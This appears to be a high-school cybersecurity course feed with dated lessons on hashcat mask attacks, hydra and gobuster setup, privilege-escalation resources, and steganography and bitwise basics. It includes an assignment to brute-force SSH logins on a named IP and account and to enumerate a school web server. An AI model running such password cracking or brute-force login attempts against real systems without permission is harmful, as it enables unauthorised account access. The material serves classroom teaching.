&lt;pre&gt;hashcat -m 0 -a 3 --increment INPUT_FILE MASK_TO_USE&lt;/pre&gt;
&lt;pre&gt;hashcat -m 0 -a 3 --increment --custom-charsetX CHARSET INPUT_FILE MASK_TO_USE&lt;/pre&gt;
&lt;p&gt;examples:&lt;/p&gt;
&lt;p&gt;The next attack will help crack the GuessMe hash. Lets assume you knew it was a A capitalized word, with at least 4 lowercase to follow...&lt;/p&gt;
&lt;pre&gt;hashcat -m 0 -a 3 --increment INPUT_FILE --custom-charset1 "?u?l" "?u?l?l?l?l?1?1"&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;pre&gt;?u&lt;/pre&gt; is uppercase letters
  &lt;p&gt;&lt;/p&gt;&lt;pre&gt;?l&lt;/pre&gt; is lowercase letters
  &lt;p&gt;&lt;/p&gt;&lt;pre&gt;?a&lt;/pre&gt; is all characters
  &lt;p&gt;&lt;/p&gt;&lt;pre&gt;?1&lt;/pre&gt; is the custom charset 1
  &lt;p&gt;Masks are useful so you can take ANY known parts of the password style to reduce the search space. See here: &lt;a href="https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#why_should_i_use_a_mask_attack_i_just_want_to_brute_these_hashes"&gt;https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#why_should_i_use_a_mask_attack_i_just_want_to_brute_these_hashes&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;Identifying hash modes&lt;/h3&gt;
&lt;p&gt;You can find a list of hashcat hash examples here: &lt;a href="https://hashcat.net/wiki/doku.php?id=example_hashes"&gt;https://hashcat.net/wiki/doku.php?id=example_hashes&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;This is an incredibly useful resource so you know what mode to attack something.&lt;/p&gt;
&lt;h3&gt;Try hack me&lt;/h3&gt;
&lt;p&gt;Start the hash cracking room in class, and finish at home.&lt;/p&gt;
&lt;p&gt;Please use the KALI LINUX attack box (see the dropdown)&lt;/p&gt;
&lt;p&gt;Hash cracking is due monday IN CASE of issues, but it should not take you that long. More work will be added tomorrow.&lt;/p&gt;
&lt;p&gt;Running hashcat on your local machine is probably MUCH faster than using the attack box.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-17n"/><published>2026-03-17T12:00:00+00:00</published></entry><entry><id>2026-03-18n</id><title>2026-03-18</title><updated>2026-03-18T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-18n"&gt;
&lt;h5&gt;2026-03-18&lt;/h5&gt;
&lt;h3&gt;Regarding word lists&lt;/h3&gt;
&lt;p&gt;DO NOT install this in the lab. You have it in your cyber_resources already!&lt;/p&gt;
&lt;p&gt;You need word lists aside from rockyou to use gobuster.
    You can find a good one by cloning the repo: &lt;a href="https://github.com/danielmiessler/SecLists"&gt;https://github.com/danielmiessler/SecLists&lt;/a&gt; but if you want to save space, use the small version (read the readme for instructions)&lt;/p&gt;
&lt;h3&gt;Installing hydra on Ubuntu/WSL:&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;&lt;pre&gt;sudo apt update;
sudo apt install hydra&lt;/pre&gt;
&lt;p&gt;OPTIONAL (Only do this if the install says there are missing dependancies)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;pre&gt;sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev
sudo apt i nstall hydra&lt;/pre&gt;
&lt;h3&gt;Regarding gobuster local install:&lt;/h3&gt;
&lt;p&gt;Please install go and gobuster so you have the same version as your tryhackme attack box.&lt;/p&gt;
&lt;p&gt;If you don't have the latest version of gobuster the syntax "gobuster dir -w xxx -u yyy" will fail&lt;/p&gt;
&lt;p&gt;If you used &lt;code&gt;apt install gobuster&lt;/code&gt; , this is likely an old version. Please &lt;code&gt;apt remove gobuster&lt;/code&gt; and try the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;install go first: &lt;a href="https://go.dev/doc/install"&gt;https://go.dev/doc/install&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;verify with &lt;code&gt;go version&lt;/code&gt;  #expected go1.22.x linux/amd64. If at least 1.2, then proceed.&lt;/li&gt;
&lt;li&gt;install gobuster: &lt;code&gt;go install github.com/OJ/gobuster/v3@latest&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;Put gobuster in your path: &lt;code&gt;export PATH=$PATH:~/go/bin&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;Verify that worked: &lt;code&gt;gobuster version&lt;/code&gt;  #3.6 expected &lt;/li&gt;
&lt;li&gt;&lt;p&gt;If you cannot get the path to stay exported after you restart your terminal (wsl) then make an alias: &lt;code&gt;alias gobuster=~/go/bin/gobuster&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;Finally, as an alternative if you would rather download the binary, there are download mirrors but you have to find them yourself. (I have one in your cyber_resources)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Homework/Classwork TryHackMe&lt;/h3&gt;
&lt;p&gt;You now have a Hydra and Gobuster tutorial added to your assignment queue. Both are Due Tuesday 8am.&lt;/p&gt;
&lt;h3&gt;Homework 05 Practical!&lt;/h3&gt;
&lt;p&gt;After completing the gobuster and hydra rooms, you have to submit these two tasks by Tuesday 8am.&lt;/p&gt;
&lt;h3&gt;Task 1&lt;/h3&gt;
&lt;p&gt;You will break into a machine using hydra.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Do NOT do this assignment from school, it will take a long time.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use hydra from your home connection to break into the machine via SSH. Connect to 167.172.133.229 using the
     account haxor , but you have to guess the password with hydra. The password is in the rockyou list.&lt;/p&gt;
&lt;h4&gt;Note&lt;/h4&gt;
&lt;p&gt;The password is earlier in the rockyou list (&amp;lt; 700th) to allow for people to finish quickly. &lt;/p&gt;
&lt;p&gt;It should take under 30 minutes to crack with hydra, but this is passive time, do it and come back later.&lt;/p&gt;
&lt;h3&gt;Task 2&lt;/h3&gt;
&lt;p&gt;You will find a flag on marge, I will give hints in class.&lt;/p&gt;
&lt;p&gt;To get this flag, you must ssh onto marge. Run gobuster FROM marge, if you cd to your "cyber_resources" directory, just run &lt;code&gt;./gobuster&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;You can also run with the full path: &lt;code&gt;~/Documents/cyber_resources/gobuster&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Or link a file from your &lt;code&gt; ~/bin/&lt;/code&gt; directory to that copy of gobuster. Then you can use the command &lt;code&gt;gobuster&lt;/code&gt; &lt;/p&gt;
&lt;h4&gt;Actual Task:&lt;/h4&gt;
&lt;p&gt;Scan marge.stuy.edu/~konstans/ for files/directories. &lt;/p&gt;
&lt;p&gt;SSH to marge. Use gobuster to marge.stuy.edu , DO NOT scan marge from any other computer.&lt;/p&gt;
&lt;p&gt;Use various words lists from Seclists, the small ones should suffice.&lt;/p&gt;
&lt;p&gt;When you find the first flag, there is a hint to find the second. &lt;/p&gt;
&lt;h4&gt;Submit:&lt;/h4&gt;
&lt;p&gt;You will be submitting a plain text file in your classwork repo directory  &lt;code&gt;REPONAME/05/hydra.txt&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Please a header in your file:
  &lt;/p&gt;&lt;pre&gt;Period, LastName, FirstName, flag_from_hydra{abc}, External_IP_FOR_HYDRA, flag1_from_marge{If_...}, flag2_from_marge{d1...} &lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;I will check to see if your IP address tried to log in many times or not. DO NOT do this from school, it will not count.&lt;/p&gt;
&lt;p&gt;External IP address you attacked from (try https://www.whatismyip.com/ ) on the device you used to crack the ssh login.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-18n"/><published>2026-03-18T12:00:00+00:00</published></entry><entry><id>2026-03-23n</id><title>2026-03-23</title><updated>2026-03-23T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-23n"&gt;
&lt;h5&gt;2026-03-23&lt;/h5&gt;
&lt;h4&gt;Vhosts&lt;/h4&gt;
&lt;p&gt;The web enumeration room skipped a topic: vhosts (virtual hosts).&lt;/p&gt;
&lt;p&gt;I can run two web servers on the same machine:  foo.marge.stuy.edu and bar.marge.stuy.edu&lt;/p&gt;
&lt;p&gt;The web server will look at the URL and decide which web server to reply from.
    These would be virtual hosts on the same real host (marge.stuy.edu).&lt;/p&gt;
&lt;p&gt;In gobuster, using the vhost mode: you can enumerate to find common vhosts,
    or if you know them you can enumerate directories/files on the different vhosts on the same machine.&lt;/p&gt;
&lt;p&gt;Common vhosts such as:  www, mail, blog, app, dev, webmail, web, etc. &lt;/p&gt;
&lt;h3&gt;Upcoming Unit:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Please make sure you are able to run &lt;a href="https://processing.org"&gt;Processing&lt;/a&gt; &lt;/li&gt;
  Minimally, we will be opening and displaying an image, and manipulating the pixels.
  &lt;li&gt;Install processing on your personal devices. In the lab a terminal command &lt;code&gt;processing&lt;/code&gt; will open a Processing IDE. &lt;/li&gt;
&lt;li&gt;Make sure you can UNDERSTAND and manipulate the code and change images.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Processing Sample code:&lt;/h3&gt;
&lt;p&gt;This will open an image, and output a modified version in your processing window.&lt;/p&gt;
&lt;p&gt;Play around with manipulating it differently.&lt;/p&gt;
&lt;h4&gt;Processing works with python/js&lt;/h4&gt;
&lt;p&gt;
    If you want to use processing python/js then you need to be able to do this in your respective languages.
    I will only be posting java based processing code.
  &lt;/p&gt;
&lt;p&gt;Using this demo code, I would want everyone to be able to modify the image in a variety of ways.&lt;/p&gt;
&lt;p&gt;Note: there is no (x,y) or (row,col), only pixels[index]. This can be converted to row column using the conversion:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;pre&gt;row = index / width_of_image;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;pre&gt;col = index % width_of_image;&lt;/pre&gt;
&lt;p&gt;Using that information you should be able to target pixels based on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The row/col values&lt;/li&gt;
&lt;li&gt;The color values&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When you target a pixel, you should be able to modify the color in a variety of ways.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Change to greyscale&lt;/li&gt;
&lt;li&gt;Change a particular r/g/b amount (remove all the red or enhance the blue)&lt;/li&gt;
&lt;li&gt;Look at and alter the bits of an r/g/b/ value (change the last bit to a 0 of the red channel)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are advanced concepts yuou would have learned last year, please review them ant test them with the code below.&lt;/p&gt;
&lt;pre&gt;
      &lt;code&gt;//for code that runs one time place all code in setup.
void setup(){
  size(800,600);
  PImage img = loadImage("cat.png");//this file must be in the data subdirectory of your processing sketch (project)
  println(img.width,img.height);//to check size of your images print this

  //load all the pixels into an array for easy access
  img.loadPixels();

  //loop over all of the pixels
  int numPixels = img.width * img.height;
  for (int i = 0; i &amp;lt; numPixels ; i++) {
    //get the color from the array
    color c = img.pixels[i];

    //extract r/g/b from c and change r/g/b somehow
    int red; // = ???;
    int green;// = ???;
    int blue; // = ???;

    //change img.pixels to reflect the new r/g/b

  }
  //save the changes you made in the array to the image
  img.updatePixels();

  //output the image
  image(img,0,0);
}    &lt;/code&gt;
    &lt;/pre&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-23n"/><published>2026-03-23T12:00:00+00:00</published></entry><entry><id>2026-03-24n</id><title>2026-03-24</title><updated>2026-03-24T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-24n"&gt;
&lt;h5&gt;2026-03-24&lt;/h5&gt;
&lt;h3&gt;Tmux and PrivEsc Foundations&lt;/h3&gt;
&lt;p&gt;You are given a learning module with 3 rooms. Tmux should be done at home,
    since it is easier to figure out without help.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Privilege Escalation&lt;/strong&gt; room should be worked on in class.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Comprehensive Linux PrivEsc&lt;/strong&gt; room provides extra resources
    for you to try to learn about. It will require partial completion, more details
    will be given later. &lt;/p&gt;
&lt;h3&gt;Tmux Concepts&lt;/h3&gt;
&lt;p&gt;Using the shell can be powerful, but there are tools that make it more powerful!&lt;/p&gt;
&lt;p&gt;Tmux is a tool that lets you split your terminal into multiple windows/panes and keep your excact terminal configuration after you disconnect from a server&lt;/p&gt;
&lt;h3&gt;Tmux specifics&lt;/h3&gt;
&lt;p&gt;Tmux has sessions, windows, and panes.&lt;/p&gt;
&lt;p&gt;Tmux can have multiple sessions, a session can have multiple windows, a window can have multiple panes. On the server, users could follow certain conventions or rules to manage Tmux. For example, we could create a session for a specific project. In the project session, we could create multiple windows, and each window would be used for each specific task for the project. In the window, in order to finish the task more efficiently, we create multiple panes.&lt;/p&gt;
&lt;p&gt;Think of session as a browser, each window is a browser tab, and each pane is a section of that browser tab.&lt;/p&gt;
&lt;p&gt;Alternatively think of having 2 terminals taking up half the screen each, those terminals are each a pane, and the entire screen is a window.&lt;/p&gt;
&lt;p&gt;Sessions are used to separate the tasks you are doing to help you orghanize and keep you from mixing up what you are trying to do.&lt;/p&gt;
&lt;h3&gt;Tmux interface&lt;/h3&gt;
&lt;p&gt;Tmux has its own terminal and can show you multiple terminals for the computer&lt;/p&gt;
&lt;p&gt;We use hotkeys to issue commands directly to tmux so Tmux knows when to do things. All the hotkeys are prefixed by Ctrl + b.&lt;/p&gt;
&lt;h3&gt;Sessions&lt;/h3&gt;
&lt;p&gt;In the local terminal, we create Tmux sessions by simply running one of the following three equivalent commands.&lt;/p&gt;
&lt;pre&gt;
    $ tmux
    $ tmux new
    $ tmux new-session
  &lt;/pre&gt;
&lt;p&gt;This will create a new session to the existing Tmux. If there is no previous Tmux session running, this will create the first Tmux session.&lt;/p&gt;
&lt;h3&gt; Detach Sessions&lt;/h3&gt;
&lt;p&gt;To return to the local terminal from Tmux sessions, we usually do detach by hitting Ctrl + b + d. Everything would be still running in the backend. Beware: Using the exit command will actually close your tmux sessions and not the correct way to detach if you want to resume later.&lt;/p&gt;
&lt;h3&gt;View Sessions&lt;/h3&gt;
&lt;p&gt;To list all of the Tmux sessions from on the local machine, run one of the following commands.&lt;/p&gt;
&lt;pre&gt;
    $ tmux ls
    $ tmux list-sessions
  &lt;/pre&gt;
&lt;h3&gt;Kill Sessions&lt;/h3&gt;
&lt;p&gt;To kill all sessions, from the local terminal, we run the following command.&lt;/p&gt;
&lt;pre&gt;$ tmux kill-server&lt;/pre&gt;

  To kill specific sessions, from the local terminal, we run the following command.

  &lt;pre&gt;$ tmux kill-session -t [session-name]&lt;/pre&gt;
&lt;h3&gt;Attach Sessions&lt;/h3&gt;

  To attach to specific sessions, from the local terminal, we run the following command.

  &lt;pre&gt;$ tmux attach -t [session-name]&lt;/pre&gt;
&lt;h3&gt;Create/Close Windows&lt;/h3&gt;
&lt;p&gt;In Tmux session, we could have multiple windows. To create a window, in the Tmux terminal, we hit Ctrl + b + c. To kill the current window, in the Tmux terminal, we hit Ctrl + b + &amp;amp;&lt;/p&gt;
&lt;h3&gt;Select Windows&lt;/h3&gt;
&lt;p&gt;Each window in the session, regardless of whether it has a name or not (actually its default name is always bash), would have a window id of natural integer 0, 1, etc. We select specific window by hitting Ctrl + b + window id.&lt;/p&gt;
&lt;h3&gt;Create/Close Panes&lt;/h3&gt;
&lt;p&gt;Each window in the session could have multiple panes, just like Gnome Terminator. To split the pane vertically, we hit Ctrl + b + %. To split the pane horizontally, we hit Ctrl + b + ". To close the current pane, we we hit Ctrl + b + x.&lt;/p&gt;
&lt;p&gt;To toggle between panes in the window, we simply hit Ctrl + b + ARROW_KEY  (up/down/left/right)&lt;/p&gt;
&lt;h3&gt;A reference sheet!&lt;/h3&gt;
&lt;p&gt;Check out: &lt;a href="https://www.shortcutfoo.com/app/dojos/tmux/cheatsheet"&gt;https://www.shortcutfoo.com/app/dojos/tmux/cheatsheet&lt;/a&gt;
&lt;/p&gt;
&lt;h3&gt;Things to try with tmux&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Split your window into two panes, left and right&lt;/li&gt;
&lt;li&gt;have the right pane open a text editor (nano/vim/emacs). Write a short program, then have the right pane run the code you edited&lt;/li&gt;
&lt;li&gt;try sshing&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;PrivEsc&lt;/h3&gt;
&lt;h3&gt;Vulnerability Databases&lt;/h3&gt;
&lt;p&gt;NVD (National Vulnerability Database) &lt;a href="https://nvd.nist.gov/vuln/search"&gt; https://nvd.nist.gov/vuln/search&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Exploit-DB: &lt;a href="https://www.exploit-db.com/"&gt; https://www.exploit-db.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;GTFObins: &lt;a href="https://gtfobins.github.io/"&gt;https://gtfobins.github.io/&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;How do you check all these explots?!?&lt;/h3&gt;
&lt;p&gt;You sometimes look up specific versions of specific applications looking for exploits, but if you try to do this with EVERY program on a machine you will go crazy.&lt;/p&gt;
&lt;p&gt;Often we enumerate exploits like we enumerate directories. People have written tools to test many exploits:&lt;/p&gt;
&lt;p&gt;LinPeas: &lt;a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS"&gt;https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;LinEnum: &lt;a href="https://github.com/rebootuser/LinEnum"&gt;https://github.com/rebootuser/LinEnum&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;LES (Linux Exploit Suggester): &lt;a href="https://github.com/mzet-/linux-exploit-suggester"&gt;https://github.com/mzet-/linux-exploit-suggester&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Sometimes you cannot use one of the tools because the target machine doesn't have the proper tools installed (python for example is required for some enumaration tools)&lt;/p&gt;
&lt;h3&gt;linPEAS&lt;/h3&gt;
&lt;p&gt;You can find the actual script here: &lt;a href=" https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"&gt; https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh&lt;/a&gt; but you don't have to get it until you need it.&lt;/p&gt;
&lt;p&gt;The linPEAS repo has instructions on running linPEAS.&lt;/p&gt;
&lt;p&gt;Looking at &lt;a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS"&gt;https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS&lt;/a&gt; you can see this section:&lt;/p&gt;
&lt;p&gt;Quick Start.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-24n"/><published>2026-03-24T12:00:00+00:00</published></entry><entry><id>2026-03-30n</id><title>2026-03-30</title><updated>2026-03-30T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-30n"&gt;
&lt;h5&gt;2026-03-30&lt;/h5&gt;
&lt;h3&gt;Stegonography&lt;/h3&gt;
&lt;h4&gt;If you haven't already done so:&lt;/h4&gt;
&lt;p&gt;
    Please install &lt;a href="https://processing.org/download"&gt;Processing&lt;/a&gt; 4.x on your personal devices.
  &lt;/p&gt;
&lt;h2&gt;Steganography&lt;/h2&gt;
&lt;h3&gt;Steganography&lt;/h3&gt;
&lt;p&gt;Steganography is the practice of hiding a secret message in something that is not secret.
    Images, text, video, wordProcessor documents and other files can store secret messages, scripts, and other data.
  &lt;/p&gt;
&lt;h3&gt;Brainstorm&lt;/h3&gt;
&lt;p&gt;How could you modify each of the following non-secret things to store a secret message?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Printed text&lt;/li&gt;
&lt;li&gt;Digital Text&lt;/li&gt;
&lt;li&gt;Image File&lt;/li&gt;
&lt;li&gt;Sound/Video files&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Text Steganography&lt;/h3&gt;
&lt;p&gt;There are several categories of text steonography:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
      format
      &lt;ul&gt;
&lt;li&gt;feature encoding (e.g. font/shapes/styles of letters)&lt;/li&gt;
&lt;li&gt;line or word shift (e.g. the text is a pixel higher or lower)&lt;/li&gt;
&lt;li&gt;whitespace&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;linguistic
      &lt;ul&gt;
&lt;li&gt;switching words for synonyms&lt;/li&gt;
&lt;li&gt;hiding text in the existing word structure&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;random and statistical&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Regarding spaces there are many things that you can alter:&lt;/p&gt;
&lt;img alt="steganography example of spacing." loading="lazy" src="img/Stego-spacing.png"/&gt;
&lt;h3&gt;Examples:&lt;/h3&gt;
&lt;h4&gt;Plain text&lt;/h4&gt;
&lt;p&gt;Consider a message sent in wartime (possibly one that you decrypted with an enigma machine:):&lt;/p&gt;
&lt;pre&gt;
    Apparently neutral’s protest is thoroughly discounted and ignored. Isman hard hit. Blockade
    issue affects pretext for embargo on by-products, ejecting suets and vegetable oils
  &lt;/pre&gt;
&lt;p&gt;Look at the 2nd letter of each word:&lt;/p&gt;
&lt;pre&gt;Pershing sails from NY June I&lt;/pre&gt;
&lt;h4&gt;Printed&lt;/h4&gt;
&lt;p&gt;Consider some text printed and sent:&lt;/p&gt;
&lt;img alt="steganography example of formatted message." loading="lazy" src="img/Stego-format.png"/&gt;
&lt;h4&gt;Tweet!&lt;/h4&gt;
&lt;p&gt;How about a tweet? Though it could have been any printed text as well:&lt;/p&gt;
&lt;img alt="" loading="lazy" src="img/twitter-steganography.jpg" width="400px"/&gt;
&lt;h3&gt;Image steganography:&lt;/h3&gt;
&lt;p&gt;Numbers can be stored in different parts of an image. The least significant bits of each pixel can be changed without changing the percievable image.&lt;/p&gt;
&lt;img alt="" loading="lazy" src="img/LSBSteganography.jpg" width="600px"/&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Image steganography can be used to hide data inside of different parts of an image, such as the R/G/B/A channels of the pixels, or some combination of those.&lt;/p&gt;
&lt;h3&gt;Bitwise manipulation in java&lt;/h3&gt;
&lt;p&gt;You need to know how to examine and change the individual bits of a number.&lt;/p&gt;
&lt;h3&gt;Bit Shifting&lt;/h3&gt;
&lt;img alt="" loading="lazy" src="img/Shifts.png"/&gt;
&lt;h3&gt;Bitwise OR (|)&lt;/h3&gt;
&lt;p&gt;This operator is a binary operator, denoted by ‘|’. It returns bit by bit OR of input values, i.e., if either of the bits is 1, it gives 1, else it shows 0. &lt;/p&gt;
&lt;pre&gt;
  0101
| 0111
 ________
  0111  = 7 (In decimal)&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;a = 5;// 0101 (In Binary)
b = 3;// 0011 (In Binary)
System.out.println(a|b);//will display 7 (0111 in binary).&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bitwise AND (&amp;amp;)&lt;/h3&gt;
&lt;p&gt;This operator is a binary operator, denoted by ‘&amp;amp;.’ It returns bit by bit AND of input values, i.e., if both bits are 1, it gives 1, else it shows 0.&lt;/p&gt;
&lt;pre&gt;  0101
&amp;amp; 0111
 ________
  0101  = 5 (In decimal)&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;a = 5;// 0101 (In Binary)
b = 3;// 0011 (In Binary)
System.out.println(a&amp;amp;b);//will display 1 (0001 in binary).&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bitwise XOR (^)&lt;/h3&gt;
&lt;p&gt;This operator is a binary operator, denoted by ‘^.’ It returns bit by bit XOR of input values, i.e., if corresponding bits are different, it gives 1, else it shows 0. &lt;/p&gt;
&lt;p&gt;
     I do not plan on going through all of the tools that you will ultimately need to decode things.
     You will need to learn some google fu to master the world that is around you.
   &lt;/p&gt;
&lt;h2&gt;Stegonographic tools:&lt;/h2&gt;
&lt;h3&gt;Audio&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Reversed audio - Can be reversed with common audio editing tools such as Audacity&lt;/li&gt;
&lt;li&gt;
       Morse - Long beeps and short beeps, or when in text form dashes and dots. You can use morsecode.world's adaptive decoder to listen via mic or uploaded file for decode.
       &lt;a href="https://morsecode.world/international/decoder/audio-decoder-adaptive.html"&gt;https://morsecode.world/international/decoder/audio-decoder-adaptive.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
       Spectrograms - Spectrographic messages often sounds like noise, but displays an image when analyzed with a spectrographical visualizer.
       &lt;a href="https://manual.audacityteam.org/man/spectrogram_view.html"&gt;https://manual.audacityteam.org/man/spectrogram_view.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
       SSTV Often very high pitched sounds with a "fast rythm". Can be converted to still images by using SSTV tools for computer or phones.
       &lt;ol&gt;
&lt;li&gt;Windows MMSSTV &lt;a href="https://hamsoft.ca/pages/mmsstv.php"&gt;https://hamsoft.ca/pages/mmsstv.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Linux qsstv &lt;a href="http://users.telenet.be/on4qz/qsstv/manual/index.html"&gt;http://users.telenet.be/on4qz/qsstv/manual/index.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
           MacOS - Multiscan 3B  &lt;a href="https://www.qsl.net/kd6cji/"&gt;https://www.qsl.net/kd6cji/&lt;/a&gt;  or
           Multimode &lt;a href="http://www.blackcatsystems.com/software/cw-rtty-sstv-fax-psk31-packet-decoding-software.html"&gt;http://www.blackcatsystems.com/software/cw-rtty-sstv-fax-psk31-packet-decoding-software.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Images&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Low contrast (LSB/MSB steganography) - Secrets can sometimes be hidden by lowering the contrast in an image so much that its features becomes indistinguishable to the eye/monitor. Can be examined with most imaging software.
       &lt;ol&gt;
&lt;li&gt;
           stegsolve (run with java -jar Stegsolve.jar) and cycle through different color maps.&lt;/li&gt;
&lt;a href="https://www.wechall.net/forum/show/thread/527/Stegsolve_1.3/page-1"&gt;https://www.wechall.net/forum/show/thread/527/Stegsolve_1.3/page-1&lt;/a&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;Krita &lt;a href="https://krita.org/en/"&gt;https://krita.org/en/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GIMP &lt;a href="https://www.gimp.org/"&gt;https://www.gimp.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;li&gt;Hidden files - Files or chunks of data can be hidden in images using various tools, I will provide a list of common tools below
       &lt;ol&gt;
&lt;li&gt;steghide   &lt;strong&gt;Tutorial here:&lt;/strong&gt; &lt;a href="https://linuxhint.com/steghide-beginners-tutorial/"&gt;https://linuxhint.com/steghide-beginners-tutorial/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;stegoVeritas &lt;a href="https://github.com/bannsec/stegoVeritas"&gt;https://github.com/bannsec/stegoVeritas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;outguess &lt;a href="https://www.rbcafe.com/software/outguess/"&gt;https://www.rbcafe.com/software/outguess/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;StegoSuite &lt;a href="https://stegosuite.org/"&gt;https://stegosuite.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;F5 &lt;a href="https://github.com/matthewgao/F5-steganography"&gt;https://github.com/matthewgao/F5-steganography&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;h3&gt;Other&lt;/h3&gt;
&lt;p&gt;QR codes and other barcodes - See the barcode wiki for examples. Can be decoded by many smart phone apps and online tools.&lt;/p&gt;
&lt;p&gt;Hint: &lt;a href="http://onlinebarcodereader.com"&gt;http://onlinebarcodereader.com&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;Text Encoding&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Binary - Sequences of 0's and 1's. When used in ARGs it can often be decoded to common charsets such as ASCII, UTF, etc.&lt;/li&gt;
&lt;li&gt;Hexadecimal (Base 16) - Strings consisting of letters 0-9 and letters A-F. Can often be decoded in the same way as binary. &lt;br/&gt;Example: &lt;em&gt;48 65 6c 6c 6f 20 77 6f 72 6c 64 21&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Base 32 - Strings consisting of letters 2-7 and uppercase letters A-Z with = as padding. &lt;br/&gt;Example: &lt;em&gt;KRSXG5DJNZTQU===&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;
       Base 64 - Strings consisting of upper and lower case letters, numbers, =,+, / and no white space.
       Can often be decoded to text (like binary above) but also to images, sound, video, etc. &lt;br/&gt;Example: &lt;em&gt;VGVzdGluZwo=&lt;/em&gt;
&lt;/li&gt;
